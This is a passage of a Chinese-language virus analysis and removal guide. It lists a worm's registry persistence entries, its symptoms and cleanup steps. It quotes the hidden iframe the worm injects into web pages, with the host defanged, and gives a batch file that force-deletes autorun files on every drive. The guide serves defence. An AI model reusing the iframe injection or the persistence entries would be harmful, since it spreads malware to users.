添加注册表项：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"InternetEx"="C:\windows\1.exe"
"wsvs"="C:\windows\2.exe"
"cmdbcs"="C:\windows\4.exe"
"mppds"="C:\windows\5.exe"
"msccrt"="C:\windows\8.exe"
"wsttrs"="C:\windows\9.exe"
"upxdnd"="C:\DOCUME~1\“你的用户名”\LOCALS~1\Temp\upxdnd.exe"
"Internet"="C:\windows\svchost.exe"
"logo1_.exe"="C:\WINDOWS\system\taskmgr.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
"internet"="C:\windows\system\taskmgr.exe /scan"
"logo1_.exe"="C:\windows\ati3evx.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
"AppInit_DLLs"="896588M.BMP"       （原　"AppInit_DLLs"="" ）
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID和HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
添加　{492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA}　指向　C:\WINDOWS\system\IceHBO.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{492B8F66-B8CF-4F7A-B0EE-B7383B92F5BA}\
@=" "


9.传播速度特快！

10.数据包异常！发送包明显小于接收包，无动作观察5分钟。发送为9000左右，接收为430万之多

11.不能穿透还原（我用DF6.0测试）

12.有时候IE在正常网站上方会出现一个广告图片（SEX类，打开后链接地址为http://www_86vod_com\index.htm）

14.正常网站出现广告链接图片！原因病毒是在网页源文件最上行增加：<iframe src=http://a_d3a_us/1/ width=0 height=0 frameborder=0></iframe> 代码

以上网站地址被我更改过。完整的地址并没有 "_"

=================
解决办法:

1.结束进程：
C:\windows\1.exe
C:\WINDOWS\ati3evx.exe（多个进程）
C:\WINDOWS\svchost.exe
C:\WINDOWS\system\taskmgr.exe
……


2.删除病毒文件，删除病毒生成的垃圾文件
把以下代码保存为del.bat，运行即可：
FOR %%a IN ( C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z: ) DO DEL /F /Q /A SH %%a\PIF.EXE & DEL /F /Q /A SH %%a\AUTORUN.INF & DEL /F /Q /A SH %%a\_desktop.ini

3.删除病毒添加的注册表项！

4.重启系统，升级你的反病毒软件，进行全盘查杀。

5.EXE修复.